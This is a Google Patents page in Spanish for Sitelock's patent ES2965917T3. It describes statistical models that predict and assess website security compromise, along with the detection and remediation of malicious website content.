ES2965917T3 - Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado - Google Patents

Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado Download PDF

Info

Publication number
ES2965917T3
ES2965917T3 ES17793477T ES17793477T ES2965917T3 ES 2965917 T3 ES2965917 T3 ES 2965917T3 ES 17793477 T ES17793477 T ES 17793477T ES 17793477 T ES17793477 T ES 17793477T ES 2965917 T3 ES2965917 T3 ES 2965917T3
Authority
ES
Spain
Prior art keywords
website
content
file
code
security
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Active
Application number
ES17793477T
Other languages
English (en)
Inventor
Tomas Gorny
Tracy Conrad
Scott Lovell
Neill Feather
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Sitelock LLC
Original Assignee
Sitelock LLC
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Sitelock LLC filed Critical Sitelock LLC
Application granted granted Critical
Publication of ES2965917T3 publication Critical patent/ES2965917T3/es
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1408Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic by monitoring network traffic
    • H04L63/1425Traffic logging, e.g. anomaly detection
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1433Vulnerability analysis
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1441Countermeasures against malicious traffic
    • H04L63/145Countermeasures against malicious traffic the attack involving the propagation of malware through the network, e.g. viruses, trojans or worms
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/16Implementing security features at a particular protocol layer
    • H04L63/168Implementing security features at a particular protocol layer above the transport layer

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Signal Processing (AREA)
  • Computing Systems (AREA)
  • General Engineering & Computer Science (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Computer Hardware Design (AREA)
  • Information Transfer Between Computers (AREA)
  • Management, Administration, Business Operations System, And Electronic Commerce (AREA)
  • Stored Programmes (AREA)
  • Health & Medical Sciences (AREA)
  • General Health & Medical Sciences (AREA)
  • Virology (AREA)

Abstract

La seguridad de los datos del sitio web se proporciona accediendo, evaluando y procesando condicionalmente los datos de atributos del archivo de contenido del sitio web y los archivos de contenido del sitio web utilizados para alojar sitios web con un primer conjunto de servidores configurados con funcionalidad de análisis, detección y reparación de violaciones de seguridad del contenido del sitio web. Se accede a los archivos de contenido del sitio web de forma condicional en función de una fecha de modificación del archivo sin cargar demasiado los servidores que alojan el sitio web. El contenido del sitio web se analiza decodificando código PHP y ejecutando código en un entorno de ejecución reforzado. La reparación se logra eliminando o reemplazando el contenido violado. (Traducción automática con Google Translate, sin valor legal)

Description

DESCRIPCIÓN
Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado
Antecedentes de la invención
Campo
Los métodos y sistemas de pruebas selectivas de vulnerabilidad e infección de sitios web se refieren a pruebas y detección de malware en sitios web.
Descripción de la técnica relacionada
Los sitios web son colecciones de información destinadas a ser vistas, usadas e interactuadas, tal como a través de un servidor web intercambiando información entre un servidor y un cliente a través de una red, tal como Internet. Hay varios paquetes disponibles comercialmente que generan las páginas de sitio web necesarias que pueden cargarse en servidores web conectados a Internet. Cualquier número de defectos, infecciones, vulnerabilidades, malware, spam y similares pueden encontrarse en páginas de sitio web en Internet. Por lo tanto, pueden realizarse pruebas web para identificar tales defectos en páginas de sitio web (por ejemplo, antes de que un sitio web se ponga en marcha). Las pruebas y el análisis de los sitios web confirman el contenido y el funcionamiento adecuado. Por ejemplo, probar el sitio web garantiza que todos los enlaces funcionan correctamente. Además, puede probarse que el sitio web es compatible con navegadores cruzados. La prueba del sitio web determina el rendimiento entregado de un servidor de sitio web, analiza la capacidad del servidor de sitio web imponiendo cargas realistas e identifica páginas de sitio web erróneas. Problemas tales como la seguridad del contenido de sitio web o los datos almacenados en asociación con el mismo se comprueban también normalmente durante la prueba.
Convencionalmente, existen varios métodos de prueba de seguridad que pueden usarse para obtener información acerca de cómo se comporta un sitio web cuando se visualiza en un navegador web o similar. Ejemplos de tales métodos de prueba de seguridad pueden incluir, pero sin limitación, prueba de inyección de secuela, prueba de página web fantasma, prueba de seguridad de código abierto, prueba de penetración, prueba de secuencias de comandos entre sitios (XSS), prueba de inyección de retorno de carro y avance de línea, prueba de inyección JavaScript, prueba de ejecución de código, prueba de recorrido de directorio y similares son algunas de las técnicas de prueba actualmente disponibles en el mercado.
Sin embargo, estas técnicas de prueba convencionales solo identifican cuándo se ha producido una violación de seguridad y no proporcionan a los propietarios de sitios web información sobre lo que pueden hacer de forma proactiva para evitar una infiltración de sitio web antes de que ocurra. Existe una necesidad en la técnica de una mejor prevención de infracciones de sitios web y evaluación de riesgos. La técnica anterior no proporciona ninguna forma de gestionar anticipar e identificar riesgos y vulnerabilidades antes de que se produzca una infracción.
Un enfoque inventivo de este tipo para los problemas de la técnica anterior es la patente de EE. UU. n.° 9.246.932 (expediente n.° SITE-0001-U01)
El documento US 2011/238855 A1 describe un aparato y método para distribuir aplicaciones y servicios en y a través de una red y para asegurar que la red incluya la funcionalidad de un conmutador con la capacidad de aplicar aplicaciones y servicios a datos recibidos de acuerdo con respectivos perfiles de abonado. Los procesadores de extremo frontal, o módulos de procesador de red (NPM), reciben y reconocen flujos de datos de suscriptores, extraen información de perfil para los suscriptores respectivos, utilizan técnicas de planificación de flujo para reenviar los datos a procesadores de aplicaciones, o módulos de procesador de flujo (FPM). Los FPM utilizan aplicaciones residentes para procesar datos recibidos desde los NPM. Un módulo de procesador de control (CPM) facilita el procesamiento de aplicaciones y mantiene conexiones a los NPM, FPM, dispositivos de almacenamiento locales y remotos, y un módulo de servidor de gestión (MS) que puede monitorear el estado y el mantenimiento de los diversos módulos.
El documento US 2015/033331 A1 divulga un sistema y método para clasificar una página web que incluye generar, por un servidor de análisis, una primera representación de una página web. Un sistema y método puede incluir generar, por una unidad instalada en un navegador web de usuario, una segunda representación de la página web y el método puede comprender producir una clasificación de la página web relacionando la primera representación con la segunda representación.
Sumario
La invención se define en las reivindicaciones independientes a las que se dirige el lector. En las reivindicaciones dependientes se exponen las realizaciones.
Los métodos y sistemas de detección y reparación de código malicioso de sitio web divulgados en el presente documento buscan mejorar la tecnología relacionada con la informática asegurando una detección de archivos maliciosos más eficiente, que puede ser una función central de operar un sistema informático de alojamiento del sitio web. Adicionalmente, los métodos y sistemas de detección de código malicioso de sitios web descritos en el presente documento realizan mejoras específicas en el campo técnico de la seguridad de datos informáticos al introducir un nuevo método para determinar si es probable que un archivo contenga contenido malicioso a pesar de que el archivo aparece, al menos en parte, para realizar únicamente operaciones de sitio web estándar, tales como aquellas para generar páginas web.
Estos y otros sistemas, métodos, objetos, funciones y ventajas de la presente divulgación serán evidentes para los expertos en la materia a partir de la siguiente descripción detallada de la realización preferida y los dibujos.
Debe entenderse que las referencias a elementos en singular incluyen elementos en plural, y viceversa, a menos que se indique explícitamente lo contrario o quede claro a partir del texto. Las conjunciones gramaticales pretenden expresar cualquiera y todas las combinaciones disyuntivas y conjuntivas de cláusulas, oraciones, palabras y similares unidas, a menos que se indique lo contrario o quede claro a partir del contexto.
Breve descripción de las figuras
La divulgación y la siguiente descripción detallada de ciertas realizaciones de la misma pueden entenderse por referencia a las siguientes figuras:
La Figura 1 representa un ejemplo de predicción de evento de infiltración de seguridad de sitio web raro.
La Figura 2 representa un ejemplo de evaluación de riesgo de infiltración de seguridad de sitio web.
La Figura 3 representa un ejemplo de valoración de sitio web.
La Figura 4 representa un ejemplo de toma de huellas dactilares.
La Figura 5 representa una realización de decodificación PHP inteligente.
La Figura 6 representa generar una matriz de indicación de funciones para un archivo de sitio web.
La Figura 7 representa determinar si el archivo es malicioso basándose en la matriz de indicación de funciones generada.
La Figura 8 representa la actualización de una biblioteca de matrices de indicación de funciones conocidas.
La Figura 9 representa un ajuste logístico nominal para el efecto Y2 de un primer modelo de regresión logística para predecir la contaminación de seguridad del sitio web.
La Figura 10 representa los resultados de una prueba de modelo completo para el primer modelo de regresión logística. La Figura 11 representa resultados de análisis de falta de ajuste para el primer modelo de regresión logística.
La Figura 12 representa estimaciones de parámetro/variable/característica para el primer modelo de regresión logística.
La Figura 13 representa pruebas de relación de probabilidad de efecto para los parámetros en la Figura 12.
La Figura 14 representa un segundo ajuste logístico nominal para el efecto Y2 del primer modelo de regresión logística. La Figura 15 representa un gráfico de la característica operativa del receptor en datos de validación como una relación de sensibilidad a especificidad para el primer modelo de regresión logística.
La Figura 16 representa un gráfico de una curva de elevación en datos de validación como una relación de elevación a porción para el primer modelo de regresión logística.
La Figura 17 representa un ajuste logístico nominal para el efecto Y2 de un segundo modelo de regresión logística para predecir la contaminación de seguridad del sitio web.
La Figura 18 representa los resultados de una prueba de modelo completo para el segundo modelo de regresión logística.
La Figura 19 representa resultados de análisis de falta de ajuste para el segundo modelo de regresión logística. La Figura 20 representa estimaciones de parámetro/variable/característica para el segundo modelo de regresión logística.
La Figura 21 representa pruebas de relación de probabilidad de efecto para los parámetros en la Figura 20.
La Figura 22 representa un gráfico de la característica operativa del receptor en datos de validación como una relación de sensibilidad a especificidad para el segundo modelo de regresión logística.
Descripción detallada
La Figura 1 representa un método cuyas variaciones se describen a continuación para predecir eventos de infiltración de seguridad de sitio web raros. El contenido de sitio web 102 puede copiarse a un sistema de archivos local 104. Los elementos de contenido, categorías, factores de riesgo y similares 106 pueden procesarse con el contenido de sitio web para determinar las características del sitio web 108 y su correspondiente recuento de ocurrencias 110. Estas características pueden dicotomizarse 112 para producir un valor de característica de sitio web 114. Tal valor 114 puede ponderarse 118 para producir una contribución característica al valor de riesgo de vulnerabilidad de sitio web 120. Los valores de riesgo en cada una de una pluralidad de categorías de características pueden sumarse dentro de cada categoría y procesarse adicionalmente para producir una suma de riesgo 122 que puede normalizarse y ajustarse a un intervalo de predicción de riesgo 124 para producir una evaluación de riesgo 128.
Realizar exploraciones de contenido de sitio web para intrusiones de seguridad y similares puede no evitar una infiltración de seguridad, pero puede facilitar la detección y reparación de tal infiltración poco después de que se detecte. En el presente documento se describen diversas técnicas para determinar si hay una infracción de seguridad (por ejemplo, malware y similares) que pueden usar enfoques de optimización para evitar sobrecargar un servidor de alojamiento del sitio web. Sin embargo, incluso estas técnicas deseables pueden simplemente reaccionar a las infiltraciones detectadas. La predicción efectiva de sitios web que son probables que se infecten puede usarse para dedicar recursos informáticos para minimizar el impacto de la infección que se produce. Por lo tanto, se divulgan métodos y sistemas en el presente documento que pueden predecir la violación de seguridad de datos y del contenido de sitio web.
La seguridad de datos para sitios web y su contenido, como aplicaciones y funciones de sitio web que pueden incluir código ejecutable, puede mejorarse mediante el uso de técnicas que predicen sitios web y/o porciones de sitios web que son probables que se infecten con virus, malware y sufran otras violaciones de seguridad. La seguridad puede mejorarse aún más y la remediación puede realizarse de manera más oportuna y eficaz si se puede determinar un marco de tiempo para una infección potencial. En el presente documento se describen métodos, sistemas, algoritmos y modelos informáticos sofisticados de infiltración de contenido de sitio web que determinan económicamente una probabilidad, tipo y marco de tiempo para una violación de seguridad.
Los proveedores de alojamiento de sitios web ofrecen servicios de alojamiento de sitios web económicos. Estos servicios de bajo coste han conducido a una explosión en el número de sitios web alojados. Un único proveedor de alojamiento del sitio web puede alojar millones de clientes (por ejemplo, individuos, empresas, universidades y similares) que pueden generar decenas de millones, o más, de sitios web. Mantener económicamente la seguridad de los datos de sitio web y otro contenido se ha convertido en un desafío significativo en términos de carga de acceso a datos de servidores que proporcionan tales servicios de alojamiento y servidores que realizan la seguridad de datos y del contenido de sitio web. En estas condiciones, realizar una exploración exhaustiva de cada fragmento de datos, contenido y programas de sitio web a un ritmo que es suficiente para proporcionar un nivel valioso de calidad de seguridad es bastante costoso. La elección de un programa para explorar que puede dar como resultado que algunos sitios web pasen largos períodos de tiempo sin realizar comprobaciones de seguridad de datos y de contenido de sitio web sin abordar la naturaleza inherente de la proliferación de virus y malware. Por lo tanto, a través de los métodos y sistemas de predicción de infección de sitio web, los recursos informáticos y los recursos de servidor de alojamiento de sitio web pueden dirigirse para prevenir y/o resolver problemas de manera más económica. Esto aumenta eficazmente el rendimiento de los procesadores que realizan tales funciones de seguridad permitiéndoles mantener la seguridad para un mayor número de sitios por procesador por unidad de tiempo.
Aunque las intrusiones de seguridad del sitio web pueden ocurrir raramente, debido a su potencial para causar una interrupción significativa en el comercio, la información personal, la privacidad y similares, un modelo que es altamente predictivo de un evento raro de este tipo es tanto técnicamente desafiante como comercialmente viable y valioso. Un modelo de regresión logística adaptado a medida se describe en un ejemplo de un algoritmo de predicción de violación de seguridad de sitio web raro en el presente documento para superar los desafíos técnicos mientras se proporciona un alto grado de integridad de predicción para un evento de infiltración de seguridad raro. Sin embargo, pueden adaptarse otros tipos de modelos de predicción, tales como bosque aleatorio y similares para este fin.
Los modelos de predicción de contenido de sitio web pueden implicar evaluar una gama de aspectos de sitios web que cubren mucho más que resultados de infección de sitio web históricos y similares. Factores tan diversos como características administrativas de sitio web, características de metadatos de sitio, factores de complejidad de sitio web, componentes estructurales de sitio web, presencia en redes sociales del sitio web y del propietario, resultados de análisis de actividad del sitio web externo, elementos del sitio web específicos y similares. Aunque los modelos altamente sofisticados pueden incluir muchos o todos estos factores, los modelos de ciertas características, tales como características administrativas solas, pueden proporcionar predicciones aceptables de riesgos de compromiso del sitio. Como un ejemplo de usar solo las características administrativas para predecir riesgos de compromiso del sitio, puede usarse el modelado de actividad de nivel de cuenta para un sitio web para predecir un compromiso futuro basándose en la actividad de nivel de cuenta medida en un periodo de tiempo anterior. Sin embargo, la estabilidad de un modelo de predicción puede aumentarse mediante el uso apropiado de una amplia gama de factores.
En ejemplos, un primer conjunto de características del sitio web, denominado en el presente documento características administrativas que son útiles para el modelado altamente predictivo de un evento de infiltración de seguridad raro, usando un modelo de regresión logística puede incluir detalles, tales como un ID de revendedor del sitio web que es definitorio, vecino del conjunto de datos (por ejemplo, proximal, asociado, lógico), estado de contaminación, el número de sitios web que posee un cliente del sitio web particular (por ejemplo, titular de cuenta de alojamiento del sitio web) y el número de sitios contaminados (distintos del sitio actual) en la cuenta del cliente de alojamiento del sitio web.
En ejemplos, un segundo conjunto de características del sitio web, denominado en el presente documento características de metasitio que son útiles para el modelado altamente predictivo de un evento de infiltración de seguridad raro, usando un modelo de regresión logística puede incluir direcciones de correo electrónico del sitio web, características de iframe externas, presencia de formularios no seguros, número de páginas escaneadas (no todas las páginas de todos los sitios web pueden escanearse; esto puede basarse en un acuerdo de suscripción del cliente de alojamiento del sitio web), presencia de una página de sitio web de temporizador, presencia de un recurso de temporizador y presencia/tipo/cantidad de URL codificadas en JavaScript.
En ejemplos, un tercer conjunto de características del sitio web, denominado en el presente documento como características de base amplia que son útiles para el modelado altamente predictivo de un evento de infiltración de seguridad raro, usando un modelo de regresión logística puede incluir características para adwords, alexa, analytics, cdn, concrete5, coppermine, drupal, dirección de correo electrónico, iframe externo, galería, gbook, formulario no seguro, joomla, mediawiki, moodle, oscommerce, páginas escaneadas, procesamiento de pagos, número de teléfono, phpbb, phbmyadmin, phpnuke, verificación de redireccionamiento, puntuación de riesgo, información del servidor, tarjetas de compra, smf, redes sociales, palabras spam, certificación ssl, nivel ssl, sugarcrm, tikiwiki, sellos de confianza, urls en javascript, creadores web, wordpress, complementos de wordpress, x7chat, categoría yp, zencart, zenphoto y similares.
Estas características del sitio web pueden agruparse bajo ciertas categorías que facilitan el manejo común en el modelo. Las características administrativas pueden aparecer en su propia agrupación administrativa. Las características del metasitio pueden aparecer en dos agrupaciones: una agrupación de características de complejidad que puede ser una medida holística de la complejidad de un sitio web medida por un número de intermediarios, tal como el número de páginas en el sitio web, así como métricas propietarias; y una agrupación de estructura de características que son indicadores de componentes estructurales de sitio web específicos. Los componentes estructurales de sitio web de ejemplo pueden incluir elementos específicos de los que está compuesto el sitio web, tales como complementos de wordpress, creadores web, wikis, carritos, galerías, sistemas de gestión de contenido y similares.
Las características del sitio web pueden cubrir una amplia gama de aspectos relacionados con el sitio web que incluyen herramientas de marketing, características de comercio electrónico, industria a la que pertenece el sitio web, herramientas de rendimiento del sitio web, medidas de popularidad, redes de distribución de contenido, marcadores de seguridad y similares. Las herramientas de marketing pueden incluir características de GOOGLE ADWORDS, características de GOOGLE ANALYTICS y similares. Las herramientas de comercio electrónico pueden incluir un proveedor de servicios de procesamiento de pagos (por ejemplo, AMAZON, CCBILL, GOOGLE WALLET, PAYPAL y similares). Las características de afiliación de la industria pueden incluir categorías de ALEXA, categorías de páginas amarillas y similares. Las medidas de popularidad pueden incluir recuento/clasificación de enlaces de Alexa, características de redes sociales (por ejemplo, me gusta de FACEBOOK, GOOGLE plus, INSTAGRAM, LINKEDIN, PINTEREST, TWITTER y similares). Las características de rendimiento del sitio web pueden incluir el tiempo de carga medio y/o el percentil de velocidad, tal como puede medirse por servicios de terceros como ALEXA y similares. Las características de red de distribución de contenido (CDN) pueden incluir servicios de CDN de diversos proveedores que incluyen SITELOCK, AKAMAI, CLOUDFLARE y similares que son detectables a través del análisis de contenido de sitio web como elementos de un sitio web. Las características de marcadores de seguridad de sitio web pueden incluir niveles de SSL, emisor y certificado, sellos de confianza de terceros, tales como BUYSAFE, GODADDY, MCAFEE, SYMANTEC y similares.
Las características de base amplia pueden agruparse en tres agrupaciones de características del sitio web: presencia en redes sociales que puede representar una combinación de métricas, presencia, seguidores en de redes sociales claves, etc.; una agrupación de análisis puede incluir indicadores de funcionalidad de análisis; una agrupación de creadores de sitios web que puede incluir indicadores para WordPress, Joomla, variables de complemento de WordPress y similares.
Un primer ejemplo de modelo de predicción de violación de seguridad de sitio web puede ajustarse con las características de las agrupaciones de características segunda (metasitio) y tercera (de base amplia). En ejemplos, puede omitirse una característica de "páginas escaneadas" para sitios web para los que los recuentos de páginas escaneadas no están disponibles o no son suficientemente fiables (por ejemplo, no hay suficientes datos de escaneado disponibles). El primer modelo de predicción de violación de seguridad de eventos raros de sitio web puede basarse en una acumulación de cálculos de riesgo individuales para cada agrupación. Puede calcularse una contribución de riesgo para cada agrupación como un producto del valor de agrupación y el peso de la agrupación.
RCi = CVi * CWi - donde RC es la contribución al riesgo, CV es el valor de agrupación y CW es el peso de agrupación, e i es el identificador de agrupación individual
Si se incluye más de una característica en una agrupación, puede calcularse una contribución para cada característica individual y puede calcularse una contribución total para la agrupación sumando las contribuciones de característica individuales.
CCc = CCVc * CCWc - en donde CCc es la contribución de riesgo característica, CCVc es el valor de característica de agrupación, CCWc es el peso de característica de agrupación, y c es un identificador de característica de agrupación individual
RCi = SUM(CCc(c=1... n)) - donde n es el número de características de agrupación individuales en una agrupación
Los valores de característica individuales para características de redes sociales pueden dicotomizarse de modo que una o más apariciones de una característica de redes sociales pueden dar como resultado un valor de 1 independiente del número total de apariciones. Como un ejemplo, la característica de redes sociales "socialmediafacebooklikes" puede contribuir con un valor de 1 si el número de "me gusta" es uno o mayor. Por lo tanto, incluso si un número de "me gusta" es 4, el valor asociado con esta característica para calcular el valor de contribución de riesgo de característica se limitará a 1.
Puede calcularse una pluralidad de factores de ajuste de riesgo para cada agrupación. Un primer factor de ajuste de riesgo puede ser un factor de ajuste de riesgo exponencial que puede ser el cociente de un exponente de la contribución de riesgo de agrupación y la contribución de riesgo mínima de todas las agrupaciones.
RAEi = EXP(RCi) / MIN(RC(i=1,2,3, ...n) - donde RAEi es el primer factor de ajuste de riesgo para la agrupación i y n es el recuento de agrupaciones
Un segundo factor de ajuste de riesgo puede ser un factor de ajuste de riesgo lineal que puede representar la contribución porcentual de una contribución de riesgo de agrupación a la suma de las contribuciones de riesgo individuales.
RALi = RCi / SUM(RC(i=1,2,3, ... n) - donde RALi es el segundo factor de ajuste de riesgo para la agrupación i
Puede calcularse una probabilidad de un evento de violación de seguridad raro para cada agrupación como una exponencial de una probabilidad de línea de base más la contribución específica de agrupación dividida entre la suma de 1 y la exponencial de la línea de base probablemente más la contribución específica de agrupación.
Pi = EXP(B+RCi) / (1 EXP(B+RCi)) - donde P es la probabilidad de una violación de seguridad rara para el grupo I, B es una probabilidad de referencia de violación.
Una probabilidad normalizada de un evento de violación de seguridad raro para cada agrupación puede calcularse dividiendo la probabilidad calculada para una agrupación (Pi) por la probabilidad de línea de base (B).
NPi = Pi / B - donde NPi es una probabilidad normalizada de un evento de violación de seguridad raro
Puede calcularse una probabilidad de evento de violación de seguridad de sitio web raro total sumando cada una de las contribuciones de riesgo individuales (RCi). Este total puede compararse a continuación con un intervalo predefinido de probabilidades para determinar un grado de riesgo tal como ALTO, MEDIO y BAJO. Si el cálculo de riesgo total cae en la porción superior del intervalo, el riesgo puede ser ALTO. Si el cálculo de riesgo total cae en la porción inferior del intervalo, el riesgo puede ser BAJO. Un cálculo de riesgo total en una porción media del intervalo puede ser MEDIO. El intervalo de riesgo predeterminado puede dividirse en deciles con al menos el decil más alto asignado a la porción superior; aunque cualquier número de los deciles más altos puede asignarse a la porción superior. Al menos el decil más bajo puede asignarse a la porción inferior; de nuevo, cualquier número de los deciles más bajos puede asignarse a la porción inferior. Cualquier decil no asignado a las porciones superior o inferior puede asignarse a la porción media.
Un segundo ejemplo de modelo de predicción de violación de seguridad de eventos raros de sitio web puede ajustarse con características de los tres grupos (administrativas, metasitio y de base amplia).
Cada uno del primer y segundo modelos de predicción de evento de violación de seguridad poco común de sitio web puede producir una variable de resultado que es representativa de una probabilidad de que ocurra un evento de infiltración de seguridad en el marco de tiempo a corto plazo. El modelo se ajusta basándose en la asignación de un valor de "1" a la variable de resultado si un sitio tenía un compromiso de seguridad detectable en un primer intervalo de tiempo (base) y se comprometió de nuevo durante un segundo intervalo de tiempo (objetivo).
Además, los modelos de predicción con cada uno del primer, segundo y tercer conjuntos de características del sitio web, individualmente y en combinación, producen resultados de predictibilidad que son consistentes con modelos de predicción de bosque aleatorio estándar. La siguiente tabla proporciona una comparación de los resultados de precisión de predicción usando un modelo de bosque aleatorio y del modelo de predicción de evento de violación de seguridad raro del sitio web inventivo basándose en un modelo de regresión logística adaptado.
Los coeficientes para los ejemplos de modelo de regresión logística cubren un intervalo de características del sitio web como se ha indicado anteriormente. Específicamente, los primeros ejemplos de modelo de regresión logística incluyen variables con coeficientes como se representa en la siguiente tabla.
Las variables "recoded plugin" pueden dicotomizar la presencia o ausencia del complemento indicado en el sitio web. Un logaritmo del recuento de complementos es el logaritmo natural del recuento más 1, de modo que se evitan los ceros en la transformada logarítmica. El índice de redes sociales es un compuesto de la variable de agrupación de características de redes sociales
El segundo ejemplo de modelo de regresión logística del modelo de predicción de evento de violación de seguridad raro del sitio web incluye variables con coeficientes como se representa en la siguiente tabla.
Este segundo ejemplo de modelo de regresión logística incluye variables derivadas de información que no se toma directamente del sitio web y, por lo tanto, tiene en cuenta factores que no se usan normalmente para evaluar el riesgo de seguridad del sitio web. Como un ejemplo, la característica "Neighbor" se determina a partir de una ubicación de los datos de un sitio web en un conjunto de datos en relación con datos para otros sitios web. Los sitios web que se almacenan físicamente cerca en un conjunto de datos son más propensos a exhibir contaminación cruzada que aquellos que no están físicamente cerca en un conjunto de datos. Otro ejemplo es la característica "ContaminatedOtherRecode" que proporciona una indicación del impacto en el riesgo de que un sitio web desarrolle una violación de seguridad basándose en el estado de infección de los sitios web mantenidos en una cuenta de alojamiento del sitio web común.
Las Figuras 9-17 a 18-22 representan diversos resultados del primer (Figuras 9-17) y del segundo (Figuras 18-22) modelos de regresión logística.
La Figura 2 representa un ejemplo descrito a continuación para la evaluación de riesgo de infiltración de seguridad del sitio web. Los métodos y sistemas para predecir un evento de infiltración de seguridad de contenido de sitio web raro también pueden aplicarse a la evaluación de riesgo de infiltración de seguridad del sitio web. Descargar contenido de sitio web 202 en un servidor de evaluación de riesgo 204, tal como en tiempos de acceso al sitio fuera de pico, de modo que la operación de sitio web se vea menos afectada puede ofrecer una oportunidad para proporcionar evaluación de debilidad de seguridad. Los factores de riesgo que pueden determinarse con contenido de sitio web pueden incluir factores de complejidad y similares. Como un ejemplo, simplemente determinar el número de diferentes elementos de sitio web 208 (por ejemplo, aplicaciones y similares) puede ayudar a determinar un nivel de riesgo. En general, un mayor número de elementos de sitio web está asociado con una mayor probabilidad de incurrir en una violación de seguridad. Otros factores de violación de seguridad incluyen el uso de software de código abierto 210, aplicaciones, complementos y similares debido a que las áreas de debilidad de seguridad pueden ser más ampliamente conocidas. Las soluciones desarrolladas comercial y privadamente pueden estar en un nivel más bajo de riesgo de seguridad de contenido debido a que un desarrollador comercial puede tomar etapas explícitas para evitar puntos débiles de seguridad que podrían infiltrarse por funciones de infiltración comunes.
Una segunda área para la evaluación de riesgos tiene que ver con la popularidad del contenido de sitio web 212. Las medidas de popularidad de presencia proporcionadas por terceros ("me gusta", seguidores, éxitos en redes sociales y similares) ofrecen otra vía para evaluar el riesgo. Un sitio web que tiene un mayor número de Me gusta o seguidores puede ser más probable que experimente una violación de seguridad que un sitio web menos conocido. Esto puede ser cierto por al menos dos razones: (i) una mayor visibilidad da como resultado un aumento en la posibilidad de que una parte que desee intentar una infiltración de seguridad sea consciente del sitio web; y (ii) los motores de violación de seguridad automatizados se basan en resultados de búsqueda de sitios web objetivos para intentar una violación. En un ejemplo, los 100.000 sitios principales para ciertas búsquedas de palabra clave pueden ser atacados automáticamente, quizás con frecuencia, por un motor de violación de seguridad automatizado.
A través de estas y otras áreas de evaluación de riesgo, pueden evaluarse cien o más factores usando las técnicas descritas en el presente documento (por ejemplo, valor de riesgo acumulado asociado con cada característica de riesgo detectada) para determinar una calificación de riesgo de violación de seguridad para cada sitio web. Una vez que se determina esta información, puede ser posible notificar automáticamente a un propietario de sitio web, proveedor de alojamiento del sitio web y similares basándose en la acumulación resultante. Como un ejemplo, un proceso automatizado de este tipo puede notificar urgentemente a un propietario del sitio web con un alto grado de riesgo de violación de seguridad 214. Mientras que un sitio web con un bajo grado de riesgo de violación de seguridad 218 puede provocar ninguna acción automatizada.
Además, a través de estas y otras áreas de evaluación de riesgos, es deseable segmentar sitios web en grupos basándose en ciertas características. Por ejemplo, para sitios web que incorporan un factor asociado con una categoría de alto riesgo específica, puede ser posible enviar una notificación acerca de cómo la evaluación de riesgo de un sitio web se compara con otros sitios web que incorporan ese mismo factor de alto riesgo. La comparación de valoraciones de riesgo con más detalle que la puntuación de riesgo global comparando sitios web que tienen contenido que da como resultado categorías de alto riesgo similares proporciona puntuaciones de riesgo que son más procesables. Por lo tanto, además de la puntuación de riesgo global, se proporciona una puntuación de riesgo específica por categoría. Esto proporciona una estratificación del nivel de riesgo, por lo que si un sitio web contiene una característica que coloca el sitio en una categoría de alto riesgo particular, pero es poco probable que el propietario del sitio web elimine esa característica, el propietario del sitio web puede evaluar también su evaluación de riesgo en comparación con otros sitios web incorporando el factor de alto riesgo. De esta manera, se proporcionan múltiples puntuaciones de evaluación de riesgo al propietario de sitio web que comparan el sitio web con otros sitios web en una misma categoría de alto riesgo para informar adicionalmente al propietario de aspectos del sitio que pueden cambiarse para hacerlo menos riesgoso.
La Figura 3 representa un ejemplo de facilitar el análisis de contenido para la valoración del sitio web descrito a continuación. Los proveedores de creación y alojamiento de sitios web ofrecen incentivos a los nuevos propietarios de sitios web, tales como proporcionar sitios web personalizados. La personalización se puede realizar en una diversidad de formas de modo que el aspecto, la sensación, los servicios y las características de los sitios web están altamente diferenciados. Esto da como resultado una gama atractiva de sitios web y contenido de sitio web disponible a través de Internet. Adicionalmente, los proveedores de alojamiento de sitios web crean diferentes paquetes de servicios basándose en diversas capacidades de productos básicos, tales como creación de blogs, carritos de compra, distribución de contenido y similares. En general, los proveedores de alojamiento de sitios webs pueden establecer ciertas relaciones estratégicas con proveedores de capacidad de sitio web (por ejemplo, servicios) cuando se construyen tales paquetes. Esto puede dar como resultado que distintos sitios web que pueden tener servicios subyacentes muy similares tengan un precio diferente de diferentes proveedores. Adicionalmente, nuevos servicios están disponibles y los proveedores de alojamiento de sitios web y los proveedores de servicios de sitios web buscan formas de mejorar los servicios y los ingresos de los propietarios de sitios web. Sin embargo, sin algunos medios consistentes para determinar cómo comparar distintos sitios web que pueden ser atendidos por distintos anfitriones de sitios web, tal como comparar el valor comercial potencial de ofrecer tales servicios, los proveedores de sitios web y servicios pueden no ser capaces de proporcionar servicios deseables a precios competitivos.
